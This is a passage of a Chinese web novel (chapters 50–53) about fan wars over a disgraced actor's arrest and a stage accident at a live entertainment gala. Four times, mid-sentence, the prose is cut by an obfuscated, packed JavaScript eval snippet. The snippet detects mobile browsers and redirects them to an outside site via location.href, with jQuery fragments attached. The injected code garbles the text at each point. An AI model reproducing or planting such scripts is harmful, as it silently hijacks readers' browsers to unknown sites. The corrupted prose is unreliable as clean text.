她低下头，准备先给孙爸一点预告，防止到时候这好消息太过刺激老人家的神经，然而手指还没点到微信图标，就先看见了突然弹出的新闻提醒。 “嗯？” 她不太理解地边点进微博边道：“赵恒又咋了？赵恒……又塌房了？” “什么叫‘又’？”凌钰漫不经心地抬起双眼，陡然停住，“谁？！” 她一下坐直了身子，连忙掏出手机去看。 年底的热搜榜更新极快，昨天还都在讨论塌房的王晨之和正直的老干部聂嘉远，今天就已经被其他各种话题取代。综艺里的新梗，明星出的神图，最近电视剧的名场面，可以说应有尽有，而此刻占据榜首的只有四个字：赵恒塌房。 首页热门话题是个营销号发的帖子。 【@小小小娱：#赵恒塌房#脚踢前女友，拳打经纪人，虐猫杀猫，聚众秽乱，这种人居然还能参加花香之夜，不愧是花香太子。可见内娱只要有背景，哪怕做错了事也还能出来混，不仅能混，还有顶奢合作。佩服！】 这条下面几乎全是恒星的谩骂。 【傻逼吧你！你说的那些都已经澄清过了好吗？除了他的确打了经纪人，可那个经纪人难道不该打？被打的人自己都知道理亏不敢再多说什么，你在这鬼叫个屁啊！】 【别逼我在最快乐的日子里扇你，干什么？前女友眼红赵恒有顶奢合作，又来发癫了？报假警的事还没找你算账呢，蹦跶什么？】 【赵恒有这种前女友才是真倒霉，幸好分手了，这要是不分手，还不知道会闹成什么样呢！说起来自己爱赵恒，其实就爱钱吧！你要是真爱他，就该让他好好的，而不是他刚有点气色就发癫。】 【不是我阴谋论，才刚和聂嘉远有对比就突然冒出这么个话题，这营销号不会是丑聂找的吧？】 【丑聂别想了，用地摊货的玩意，Tang已经和赵恒合作了，怎么还会看上你？你就用用你的ME好了啊。】 底下路过的家园人麻了。 【不是，这怎么又扯到我家身上了？聂嘉远一直在有凤娱乐彩排，准备晚上的盛典，哪来的时间管网上这些乱七八糟的啊。我说恒星真的别太过分了！】 【又来了又来了，真的赵恒走路摔个跟头都得怪聂嘉远。】 除了这条微博，广场上还有不少相关爆料，但几乎都是老生常谈，并没有什么更新鲜的。 吵来吵去又吵不出个名堂，凌钰稍稍刷了一会儿就暂时退出，靠在车座上闭目养神。 孙致容显然也已经看得差不多，忍不住吐槽：“这个赵恒也是真难杀，打了人还能在圈子里混的风生水起，关键他的粉丝一点儿不嫌弃，甚至还觉得他是为民除害，Tang这品牌更牛，找谁不好找他合作，也不知道怎么想的。” “最关键就算他没有真的聚众那啥，威胁自己女朋友要找十个男人，难道没问题吗？搞不懂。” 凌钰也搞不懂，但事实就是如此。 赵恒不仅没得到任何惩处，还依旧风光无限。 或者说也没有完全风光吧，在最初被爆料的那段时间里，他还算低调，但仅仅只是沉寂了一阵子之后他就又冒了出来，参加活动不提，如果不出意外，可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231867|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能还真的能拿到非常好的商务代言。 汽车驶上高架，周边的嘈杂声逐渐变小。 凌钰中午没睡，这会儿混混沌沌，只觉得连意识也逐渐涣散，刚要睡着，前方忽然响起孙致容难以置信的惊呼。 “妈诶！赵恒前女友出来爆新料了！说之前之所以撤销报警，是因为赵恒答应她私了，说会给她两千万弥补她的损失，结果到现在都没给！她发聊天记录和通话记录了……” 凌钰几乎是瞬间清醒，连忙打开微博。 果然，首页热门多出了一个陌生的小号。 【@远离渣男：#赵恒塌房#虽然词条并不是我搞出来的，但既然已经被你们骂了，那也不能白挨骂。 自从那次爆料到现在，短短几十天的时间，我过得比之前几十年都痛苦——当年，回想起和赵恒在一起的日子，也并不怎么样。 只是当年拿爱我锁住我，其实却欺辱我、打击我的是赵恒，而如今除了这个渣男，他的粉丝还每天私信辱骂我、威胁我，查到我的手机号和住址给我打骚扰电话，邮寄血腥照。 我每天心惊胆战，焦虑伴随着抑郁，晚上睡觉难以入眠，即使睡着了也总做噩梦。 我恨自己心软，明知道这个人不是个东西，还是想给他机会。 更恨自己无能，因为既爱又怕，才选择听了他的话。 明知道他的粉丝这样对我是违法犯罪行为，却连报警都不敢，既生怕连累了他、激怒了他，又生怕被变本加厉地报复，生怕哪一天我连“活着”这个愿望都难以实现。 落到今天这个下场，的确是我自找的。我承认自己的懦弱，可这两天我也发现了一些这个圈子里的不同。 原来，遇到不公的待遇是可以报警的，明星里也不全是虚伪的败类，艺人再有背景也不一定就能手眼通天，做错了事照样会得到相应的惩罚——只要你敢站出来，只要你敢反抗。 是我自己被他给吓住了，所以胆小怕事，却纵得他变本加厉。 这一次，哪怕赵恒比某些人背景更硬，我也想试试。 当初你答应我私了，说会给我两千万当作封口费，结果呢？你给灾区捐款那么多，还可以说你是真的想做好事，现在你又要风光无限地上年末的晚会了，却还是跟我说你没钱。 你不是不给我两千万，是到现在一分都没给。 既然没钱，就别想让我被封口。 之前的事已经报警，所有证据全部都交给警方了，那些骂我诅咒我的，也一个都别想跑。 本来也想等官方通报的，然而某人根本不知收敛，居然还想着参加活动，想着和什么Tang合作，还想着压人家真正正直的人一头。做梦去吧！奉劝某些品牌关注一下，别到时候得不偿失。】 文章很长，下面还配了好几张截图和录屏。有粉丝的私信谩骂，有赵恒自己的语音回复和电话录音，甚至还有一小段当初所谓“十个男人”的现场录像和他虐杀猫的监控截屏。 凌钰才刚看完，就听到孙致容有些疑惑的声音：“诶？她说发现了圈子的不同，说的不会是你报警让王晨之塌房了的事情吧？” 51.第 51 章 长文下的评论数惊人。 吃瓜的，澄清的，震惊于“两千万”这个天文数字以及被“十个男人”辣到眼睛的，相互争论吵成一团。 【姐妹，你说的话究竟哪句是真的？之前就爆料赵恒找什么十个男人对付你，说他虐猫杀猫，后来又澄清说这些都是自己编造的，现在又说那些不是编造而是真的，“狼来了”太多次了，把网友当傻子耍很有意思吗？】 【Tang是什么品牌？人家不会做背调吗？赵恒如果真有问题你当品牌方是疯了非要跟他合作？这位前女友别太癫，分手了好聚好散不行吗？】 【拿一个模糊不清的截图和视频就说是赵恒，我还说这个是你从网上下载的小视频呢，而且那个虐猫视频里面的猫，根本就不是只真猫！脑子有问题就去医院检查，在网上发什么癫啊？】 【我天，两千万你是真敢说！你是什么天仙名媛吗？张口就敢要两千万！这叫私了？这是敲诈吧！还有那些什么粉丝私聊，你有证据吗就说那是赵恒粉丝？】 【不是，赵恒粉丝怎么还在叫嚣啊？人家前女友之前不给实锤你们骂她，现在实锤都摆着了，还骂她！赵恒是给你们下蛊了吗？再说两千万也是赵恒自己同意的吧，同意给又没钱，不就是想赖账？】 【其实就是想拖着不让人彻底曝光他，结果没想到对方狮子大开口，不答应又不行，答应了又没钱给。】 【两人都不是什么好东西，这前女友说得冠冕堂皇，还拿自己对标追星姐，说什么要反抗，其实还不是因为钱没到位。要是钱到位了，她还会跑出来放新料报警吗？真有骨气，当初就报警了，还能拖到现在？】 凌钰返回首页热搜榜，除了最上方的#赵恒塌房#，先前曾经被众人讨论过的话题#赵恒十个男人#和#赵恒虐猫#之类也再次荣登榜单前十。 广场上说什么的都有，自然也少不了一些角度清奇的阴谋论。 【确定不是那位聂姓艺人的氪金粉买通了赵恒的前女友吗？】 【商务预热的关键期突然又出来胡说八道，赵恒真是倒了八辈子霉遇到这种女人，嘴上说着爱，做得全是恨他的事。Tang这个商务真的狠狠戳了某些人的心窝子了，所以不惜用这么下作的手段想毁掉赵恒的前程。】 【丑聂去死，某氪金粉去死啊！】 别的不说，恒星们这种一有事就怪聂嘉远的思维倒是一如既往。 而凌钰作为聂嘉远目前最大的氪金粉，更是罪责难逃——本来双方每次吵架就都能绕到她身上，现在这爆料的长文里更明显暗示是受到了她的鼓舞，赵恒粉丝如何能善罢甘休？ 不过自从王晨之那件事之后，凌钰的陌生人私信就一直没开，因此即便怒气冲天，他们也只能在她之前的帖子里阴阳怪气地评论和转发。 恒星们如临大敌，疯狂洗地，把这一切都归咎于是别人的诡计，当然不可能承认自家偶像真的塌了房。 但更多的人还是相信了爆料。 这些事毕竟早有前情，赵恒当初打经纪人就是真的，现在再看那些视频和截图，不是“实锤”还能是什么？哪怕视频的画面的确有些模糊，可听声音也知道就是赵恒。 至于那所谓的“假猫”，虽然已经奄奄一息，但细看眼睛还在动。 越来越多的人加入讨论，渐渐的，铺天盖地的骂声将恒星的辩解彻底碾压。有人同情无辜的猫，有人同情又痛恨恋爱脑，有人骂赵恒没有人性，也有人又开始抵制花香娱乐。 某个有阵子没出现的词条再次缓缓爬上了热搜：#内娱完了#。 不过网络舆论，哪怕确有其事，有时也难免反转。 就好像这位前女友第一次爆料之后就又迅速否认自己的爆料一样，谁也不能保证她这次表达的就是最终立场。 凌钰没发表意见。 就连孙致容都摇头关掉了手机：“算了，还是再观望观望，否则咱们真情实感帮她骂人，万一她事到临头又改主意了，岂不是显得我们像蠢货。上次已经上过一次当了，这次再上当我就是个笑话。” “再说，现在的科技确实发达，AI换脸都看不出来，更别提视频合成了。她不是说她报警了吗？那还是等官方通报吧。” 孙致容说罢，给孙爸发了条即将入住豪宅的预告消息，又让周哥把车停在路边，买了点卤菜、锅贴和鱿鱼粉丝当晚饭，三人才终于回家。 - 和其他的年末晚会不同，有凤娱乐向来没有明星走红毯的环节，年终盛典得等到晚上八点半才能正式开始。 在这之前，所有参演的艺人都得最后一次带妆彩排，提名奖项的艺人也需要提前入场。 按照凌钰以往的习惯，这种晚会她其实并不会看全程。 那时林业偶尔也会参加盛典，但他演技一般，获奖很少，偏偏又自认在圈内已经有了一定地位，很不乐意再上台表演，因为那样会很容易让人想到他曾经的爱豆出身，所以大部分时候都是在底下坐冷板凳。 镜头拍不到，台也上不了，虽有粉丝应援，也根本无法和真正的顶流抗衡。 凌钰如果有空，就会断断续续地看一看，没空，可能就只等最后的林业cut。 时过境迁，物是人非。 如今的聂嘉远离顶流已经只有一步之遥，却还愿意上台给大家唱歌，而他的《凤凰记》播出数据不错，演技又很出彩，如果不出意外，大概能拿到不少奖项，她当然得准时收看。 吃完晚饭洗漱完毕，还不到八点，孙爸带着孙致容和周哥开始兴致勃勃收拾东西，凌钰就窝在了沙发的角落，在微博边等直播边刷彩排路透。 拖王晨之的福，她原本还算充足的附加寿命即将进入倒计时，正主2的选择也被迫提前提上日程，因此今天她除了要看聂嘉远，也打算看一看颁奖礼现场各个明星的表现。 演戏看不出人品，综艺可能有剧本，只有这种现场，最考验人的本性。 微博上，赵恒的瓜还在持续发酵，不少彩排路透也都上了热搜。 内场的聂嘉远又换了一套造型，这回的衣服明显不是ME的，胸针也换了一个，造型和之前的那款有些类似。珠宝看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239942|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出品牌，唯有手上的腕表能看清，是顶级奢品Pate的最新款。 都不用特意去查，就有好事者标注出了这款手表的价格：190000000元。 凌钰数了半天，才发现是一亿九千万。 不管聂嘉远身上其他的东西价值几何，现在单这一块手表就已经明显超越之前赵恒的珠宝配饰，场面顿时更加混乱。 【人家都快两个亿的表都没见吹，这边戴个一亿的珠宝恨不得要上天。结果呢？往后也不知道还能不能再戴这么贵的东西咯！】 【腕表都已经是将近两个亿的了，衣服和胸针什么的，真的会是什么地摊货吗？赵恒粉丝说之前那款胸针是地摊货我就感觉怪怪的，现在他这身衣服虽然还没有品牌认领，但这裁剪绝对不可能便宜。】 【那款胸针，说真的……我感觉是天然蓝宝石的，周围甚至不是镶的那种碎钻，但就是因为钻石太大，才被那帮恒星说是地摊货。】 【是啊，现在他戴的这款胸针也是，太绿了，他们说是塑料。但怎么可能啊？我觉得更像是什么祖母绿的翡翠，不知道大家听没听说过一个牌子，叫拉芙，因为太过顶级反而没什么人知道。】 【举手！我听过，世界上最贵的珠宝首饰和胸针品牌！产量很低，全是定制，比Tang高了也就七八九十个档次吧。】 【丑聂家又开始做梦了，吹逼还没完了，其实根本没有品牌认领，就连腕表的品牌都没转发他的照片，你们还在这尬吹上了。还瞧不上Tang，有资格吗？人家根本都不拿正眼看你们！以为黑了赵恒就能平步青云了吗？滚！】 因为这条恒星的入侵，下面很快又吵成一团。 不过他们吵得虽欢，凌钰的手机却非常安静，可见这次的争端对聂嘉远的影响应该并不算大，以至于【识人】根本毫无反应，整个页面也没什么变化，唯一的细微改变，是最上方的“内娱风气更正指数”。 之前那肉眼几乎不可见的红点又增加了一些，指数也变成了0.82%，也不知道它这究竟是个什么算法。 但能涨总归是好的。 凌钰漫不经心地撇了一眼，就准备退出app重新去看最新路透，然而下一秒，页面最上方的那个百分比指数进度条却忽然以肉眼可见的速度动了起来！ 0.83% 0.84% …… 鲜艳的红色缓缓增长，直至14.13%才最终停下。 之前给得扣扣搜搜，这次竟一下子涨了这么多！为什么？她干什么了？ 凌钰连忙返回微博，热搜第一依然是#赵恒塌房#，但它的讨论度已经变成了黑紫色的“爆”，而再往下则是紧挨着的两个最新话题：#赵恒回应#和#赵恒被捕#。 赵恒的回应是在五分钟之前发的。 【@赵恒：清者自清，没做过就是没做过，希望大家不信谣、不传谣。期待明天在花香之夜与大家见面，谢谢所有喜欢和关注我的粉丝朋友，爱你们。】 再往下的话题里，却是一条刚刚发布的警情通报。 52.第 52 章 “警情通报：近日，A市警方接到群众报案，称演员赵某（男，34岁）在与其交往期间长期对其实施家暴，虐杀其收养多年的宠物，并多次组织多人对其进行性侵。 此外，部分社会人员为替赵某“出气”，利用相关网络软件侵犯其隐私，并长期匿名骚扰恐吓，严重影响其人身财产安全及心理健康。 目前，犯罪嫌疑人赵某已被警方控制，其对所犯罪行供认不讳，部分社会人员已被警方锁定，案件正在进一步调查。” 虽然没有写全姓名，但这种指向性如此明确的通报谁还看不出来？ 有凤娱乐的年终盛典原本有很多相关话题在热搜榜，此刻都被赵恒给挤到了榜单的最下方。 评论区一片惊叹，说什么的都有。 【真是赵恒？我的妈呀不敢相信！】 【才抓了一个王晨之，又抓了一个赵恒，内娱这是要大清洗吗？我的天，可是赵恒五分钟之前还发了自拍的微博，澄清说没做过就是没做过，还准备去参加花香之夜呢！结果刚说完就被打脸。平安A市真的一点儿不给面子。】 【他不澄清可能还不一定会发通报锤他，一澄清官方还能让他浑水摸鱼？而且通报里那个“多次组织多人”也是绝了，感觉每个字都认识，组合在一起我都有点看不懂了。】 【辣眼睛！这种社会毒瘤黑势力居然还让他在娱乐圈混了这么久，那个什么Tang珠宝居然还要跟他合作，这个世界是疯了吗？】 【所以十个男人是真的，虐猫杀猫也是真的，粉丝匿名威胁更是真的，甚至还多了一条长期家暴。赵恒对外树立的形象可是正能量积极向上的演员，结果背地里这么恶心。就这，粉丝还在洗？还到处出警骂人？睁开眼看看吧！】 【……妈的，老娘为了你几天几夜不睡觉的反黑，结果你他妈都被抓了还在发假声明骗粉丝，脱粉了！】 凌钰往下翻了一会儿，大批恒星情绪激动地脱粉回踩，而她的后台消息也从最开始无休止的谩骂再次变成了道歉和许愿。 【……不是，我好像真的要相信玄学了！追星姐一直跟赵恒不对付，没想到赵恒真的塌房了！别怪我迷信，我只是单纯来求求我家爱豆不塌房。拜拜拜拜！我给大佬磕头了！】 【本来还在跟风骂你，没想到你又是对的！赵恒也太渣太坏了！我以前真的是瞎了眼，不行，我看人的眼光好像真的不行，从今往后我要追随你的脚步追星……要不算了，从今往后我就追你吧，实话实说你看上去比他们都靠谱。】 这些话不过看个乐子，凌钰没太当真。 王晨之粉丝的前车之鉴就在眼前，上一秒对你热情洋溢，下一秒就又能恶语相向，人要真的全跟着舆论走，心情难免随之此起彼伏无法掌控，十有八九心理要出问题。 很多评论，看看也就罢了。 虽然网上后续的热闹不断，但【识人】app的内娱更正指数却并没有再动弹，依旧稳稳停在14.13%，大概是已经涨到了这件事相关的最高值。 在这极度混乱的情况下，有凤娱乐发布了今天盛典内场第一批正式彩排照。 九宫格的照片，影后苏心悦等老牌艺人占据前排，而聂嘉远则排在C位。 与之前稍显模糊的路透视频不同，这次是专业相机抓拍的高清照。 黑色的偏古风内衬，外套一件同色系改良版西服，后批长款暗红色斗篷，算是中西结合的裁剪。因为他本就长相周正身材高挑，越加显得整个人优雅颀长，贵气逼人。 碧绿的胸针与之前出发图的那款相比显得更加简洁，但也更加典雅。下面的家园们嗷嗷叫着舔屏，很快，聂嘉远工作室也发了更多的组图。 这一次，原本还忙着冷嘲热讽的恒星们此刻自顾不暇，倒是路人好奇。 【你别说，你还真别说，还真挺帅。坐等看哪家品牌认领！】 【地摊货要是都这么高级，告诉我在哪买，我也去买！珠宝配饰啥的我其实不感兴趣，这套衣服好看是真的，太有设计感了，尤其内搭领子的那点暗红。不知道为什么，明明包得很严实，看起来却很欲。】 【就是那种色气的感觉吧？不瞒你说，看到这图我快要路转粉了嘿嘿嘿嘿嘿（发出一些上不得台面的笑声）】 也有求神拜佛的开始列队。 【追星姐那已经拜过了，这边也来拜拜！我拜拜拜拜！】 【你果然最稳当，求求了，希望我家正主也能沾沾你的一身正气！信女愿用二十斤肥肉许愿，只要你能保佑，接下来的一年时间我一定减肥二十斤，立贴为证！要不你顺便保佑我减肥成功吧……】 【楼上你倒是真不贪心，不过我也想来吸吸欧气，我吸吸吸！今晚去买彩票，希望能让我中奖！】 三分钟后，顶奢拉芙发博认领了聂嘉远的全套装备，Pate则认领了他手中那块一亿九千万的腕表。 吃瓜群众实在没忍住一边惊叹一边感慨。 【还真是拉芙！衣服和所有珠宝首饰全是特别定制，拉芙原来比较专注珠宝，这次看来是打算试水服装了，选的居然就是聂嘉远，好像国外都没动静，这是全球首穿吧？除了牛不知道还能说什么了。】 【有人迫不及待地吹逼，结果进了局子。这边低调官宣的，却一宣就宣了个大的，看这意思说不定还有长期合作的可能，聂嘉远现在商务真的好到离谱。】 【Pate估计都没想到，明明它平时就够高不可攀了，结果这回大家的视线居然都没落在它头上。Pate:心累。哈哈哈！】 聂嘉远的热度势如破竹，而作为从前的对家，赵恒那边却似冰消瓦解大厦将倾，有极端粉丝甚至发了微博扬言要自尽，顿时又引来网络大震动。 但再大的震动，地球也照样转，天也不会掉下来。 八点半，有凤娱乐的年终盛典正式开始。 凌钰没再去刷微博，而是将电视投屏打开，认认真真去看每一个节目、每一次颁奖。 今年的有凤出了不少好剧，《凤凰记》算是年尾时的一匹黑马，而在年初和暑假档，还有几部剧都收获了极好的成绩。 其中影后苏心悦难得自降身份，搭档顶流墨之染演了一部大型宫斗权谋剧《后妃》，可以说全员演 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256088|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 技在线，不仅洗掉了爱豆无法演好戏的固有印象，也让整部剧从上到下，所有角色的演员都吃到了红利。 苏心悦自不必说，一如既往地稳。 墨之染则展现出了他作为演员的极大可能，无论是与女主初见时刻意表现出的柔情蜜意，还是他独处时的冷漠寡情，心动时的隐忍挣扎，又或是得知真相后万念俱灰的悲哀，都给人留下了深刻的印象。 剧里大多演员都很出彩，按照凌钰的推断，估计有好几位都能拿到奖。 作为主演的苏心悦和墨之染更是最终大奖的热门人选。 只是墨之染似乎是铁了心地要转型，今天这样的场合他还是没来。 顶流不在，聂嘉远顿时成为场上最大焦点，再加上这段时间他也的确发展很好，可偏偏又时不时受到些舆论侵袭，粉丝为了给他撑场子，去了很多人应援，整个内场几乎都被耀眼的蓝色笼罩。 凌钰本来也收到了邀请，但这次活动举办的城市实在太远，来回至少得两天，而那时她又正在被王晨之的粉丝骚扰，也担心路上的安全问题，就拒绝了。 事实证明，有时在现场只是氛围更好，而在电视机前则能看得更清。 譬如镜头扫到的某位待爆咖，看向聂嘉远的眼神就不太和善，而另外一位二线演员，则一直旁若无人地在摇头晃脑跟着台上的音乐晃动，时不时现场reaction，显然并不知道有个机位对着他。 有人在偷偷摸摸往嘴里塞东西吃，有人交头接耳地说着话，有人因为台上的获奖感言红了眼眶，也有人面露不屑坐立难安。 其实每年的年末晚会都会生出不少话题。 艺人的发言被拿来逐句分析，艺人的表情被人逐帧研究，他们的每个动作也被各种挖掘深意。 最后好的坏的应有尽有，公司和工作室忙着宣传、辟谣、解释、澄清，粉丝们忙着反黑、控评、撕逼、铺广场。 凌钰看得兴致勃勃，就连孙致容和周哥都停下了收拾的脚步，时不时点评一句：“这女演员长得还不错。” “这男的谁啊？唱歌跑调了！” 唯有孙爸到这会儿才看到赵恒塌房的新闻，口中喃喃：“这不就是那个哭不出来的王爷吗！他居然被抓了啊，真让人想不到。” 然而下一秒，这点嘀咕声就被孙致容的惊呼打断：“不是吧！我看错了吗？这个舞台的升降台是不是出问题了？那边黑了的那一块，是没升上来吗？” 台上此刻是ily女团在中途串场表演，作为目前国内最顶尖的女子组合，这个团体里的每个人发展都很不错，无论是综艺、电视剧还是电影，都能看到她们的身影。 其中c位的肖雨婷还演过好几部偶像剧，粉丝数量非常庞大。 唱跳组合的站位向来固定，就算是在重大场合，也只会根据现场舞台的情况稍加改编，但她们整体离那个黑影都很近。 音乐自弱而强，忽然停下，接着，激烈的鼓点声由远而近燃爆全场，下一刻，队形变换，肖雨婷几乎是紧挨着主舞李岑直接跨步。 对方站立不稳，眼看着就要后退下坠！ 53.第 53 章 凌钰被吓了一跳，孙致容更是没忍住惊呼出声。 但她们毕竟隔着屏幕，并不在现场，就算喊破喉咙也没用。 好在画面中的李岑反应速度极快，核心力量也强，虽然在黑暗中看不清，却还是察觉出脚下的不对劲，电光火石间腰腹轻轻一转，就已在比平时的站位微微偏移半分的位置重新站定，接上了后面的动作。 表演中途，又是现场直播，镜头怼脸，这一Part以舞蹈为主，她又是绝对的中心。 作为爱豆的职业素养不允许她随意停下、开口，或有其他太大的动作。 李岑脸上保持着一如既往表情控制，看不出任何异样，脚下却隐晦地带着团队缓慢移动，一边在震耳欲聋的乐声中继续完成表演，一边试图远离那块突然塌陷的地面。 可她每缩小或放大一次动作，所有人就偏台一点，追光灯也会因此偏移。 其余队友并不知道发生了什么，大概是想要找回原先的定点，也或者出于别的什么缘故，总归到又一次队形变换时，终于出了事。 大跨步退后的李岑，想要往侧后方移开的主唱钱芊和刚好上前一步肖雨婷狠狠相撞，混乱中，肖雨婷整个人倏地往后倒去！ “啊——”收音话筒里传来一声惊悚地尖叫。 大家后知后觉，总算发现了舞台中央不知何时塌陷进去的升降台。 几个队友手忙脚乱回身去拉，就连前排坐着的苏心悦、聂嘉远和另外一位女演员陈静思也几乎同时起身飞奔上台。 “卧槽！”孙致容都傻眼了，抱着手上的被子半天没动弹，“有凤娱乐是要死啊，直播事故吧这！那么明显的黑影子他们都没看见吗？也不知道降下去了多少，这要是……” 话音未落，现场的镜头果断切换，对准了有凤娱乐的标。 凌钰也有些无语，这么大的晚会，这么重要的场合，如果真有哪个嘉宾受伤出事，恐怕这个平台公司从上到下，一个都逃不掉！ 话筒里的声音忽远忽近断断续续。 别人的嗓子凌钰不太熟悉，但隐约能听到聂嘉远在说话：“抓紧，没事，别害怕，没事了没事了……” 过了一会儿，经验丰富的主持人重新出现在画面。 “刚刚我们的演出过程中出现了一点小小的突发状况，好在大家反应迅速，现场工作人员也已经正在紧急处理，为了保证大家的安全，我们需要先暂停一下表演，ily女团已经来到了我们面前，让我们欢迎ily！” 原先的音乐暂停，ily全体成员相互搀扶着重新走到了台前。 肖雨婷明显吓得不清，李岑也同样脸色惨白，剩下的几名队友还有些愣怔，哪怕化了很浓的舞台妆，也能看出她们惊魂未定。 但作为当事人，肖雨婷还是接过话筒微微颤抖着声音笑道：“不好意思，刚刚吓到大家了，我真的没想到那边突然空了一块，岑岑和芊芊也不知道，是我的问题，因为我们彩排的时候定过位置，我觉得有点偏台了，所以想着要重新站准。” 说着，之前相撞的三个人紧紧拥抱了一下。 李岑似乎想要开口，但到底没说什么。 肖雨婷又道：“不过好在我们都没事！刚刚很感谢苏老师，聂老师还有静思姐。特别是聂老师，要不是他力气大帮忙拽了一把，我可能真的要掉下去了……” 她憋了下嘴，哽咽道：“他胳膊好像受伤了，但刚刚一直不给我们看，非说没事……” “总之真的很谢谢大家！然后，然后！还是希望大家以后能继续多多支持我们ily，我们会一直努力的，谢谢！” 如果单论长相，肖雨婷其实算不上传统的标准美女。 但她业务能力极强，不论是舞蹈功底还是唱歌水平都很高，演技在偶像剧中也不违和，人又总是一副元气满满的模样，有一张很可爱的娃娃脸，有时又不失成熟女性的魅力，所以无论是作为爱豆还是作为演员，都有很广的受众。 此刻她眼圈泛红，别说粉丝，就连电视机前的观众都不由心软。 孙致容嘀咕：“估计真吓到了，小可怜样，有凤娱乐这回必被冲。” “花香之夜估计怎么也没想到，他那边艺人塌房，有凤娱乐就自己给自己送了一个舞台塌房……怎么整的，还非得当这难兄难弟了！” 幸而接下来的晚会都没再什么出问题。 只是轮到聂嘉远的表演时，除了正常的唱歌，中途穿插的一小段打戏明显没有彩排时看着顺畅，尤其他执长枪的右手，细看就能察觉到一些隐忍的颤动。 盛典结束时已经是晚上十一点。 聂嘉远拿了一个最受期待男演员和一个最佳男主，奖项不算多，份量却不轻。 至于年度男女演员，意料之中被《后妃》剧组包揽。 ily荣获最受欢迎女子组合，团队里的成员还得了些不轻不重的单人奖项。 肖雨婷元气满满，再上台时脸上早已没了之前的惊色，发表获奖感言时又感谢了一圈人，顺便还替有凤娱乐说了几句好话。 只是凌钰翻看微博上的热搜就知道，效果甚微。 有凤娱乐被骂得狗血淋头，不仅是平台和制作方，就连导播和主持人都没能幸免。 【有凤娱乐是疯了吧！肖雨婷这是没事，如果今天她出了一点问题，你信不信明天你们整个平台都没了！工作人员是吃干饭的吗？眼瞎了吗？肖雨婷这么多年好不容易走到今天，你们想害死她是吗？这是谋杀！】 【主持人在干什么？为什么明明知道她们才受了惊吓遇到了事故，还非要让她们继续到旁边的舞台接受采访？我家李岑吓得都说不出话了！想让她们说什么？替你们档枪吗？这时候了不想着解决问题，还想着推卸责任！】 【我家ily能去参加你们盛典你们就该谢天谢地感恩戴德了！结果你们不仅不把人供起来，还安排在中间热场，甚至出了这么大的事！不敢想象如果雨婷真的掉下去……这是安全事故！谁负责的，负责人该去坐牢！】 【有凤娱乐根本没有任何认错的态度，到现在连个官方道歉都没有。今天是肖雨婷，是李岑，是钱芊，如果是别的明星，是墨之染在，你们也是这种态度吗？】 【难怪明明有剧播，墨之染都根本不屑于出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263648|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 席盛典。】 这些毕竟还是一致对外的，但等凌钰又刷新热搜榜后，就发现肖雨婷的粉丝已经开始和李岑的粉丝吵了起来，没过多久，就连钱芊的粉丝也加入其中。 只有墨之染的粉丝在下方路过。 【别动不动就带墨之染了，我家墨之染人都不知道在哪，要不是还有剧播，听说是还在剧组拍戏，我都怀疑他要退圈了。】 ily的团粉本来就已经数量极其庞大，再加上当事方三个人的唯粉，一时间，有人同仇敌忾骂主办方，有人自相残杀骂队友，唯粉骂团粉和稀泥，团粉骂唯粉乱出警，相互混战甚至把赵恒塌房的事都压了下去。 这其中当然也有人发博感谢今天帮忙的三位，但怒意比谢意更浓，他们更多的注意力还是被自家的维权吸引。 凌钰点进超话，很多家园都在担心偶像的伤势，只是现在时间太晚，虽然还有很多粉丝在艺人下榻的酒店楼下排队等候，不过暂时还没等到人。 当时镜头移开，电视机前的观众什么都看不到，而在现场，舞台上所有的灯光也全部暗下，所以哪怕是现场观众，也没人知道真正的情况， 聂嘉远这两天行程很多。 今天的有凤娱乐年终盛典结束，明天暂时休整一天，后天得去跨年夜晚会彩排，大后天是正式的跨年夜晚会，接着返回剧组拍戏，几天后又是各大卫视的新年晚会提前录制。 如果真的胳膊受伤，恐怕很多活动都要受限制，更别提他当下拍的剧还时不时需要吊威亚。 凌钰下意识点进聂嘉远的微博私信，第一次生出了想问问情况的想法。 但—— 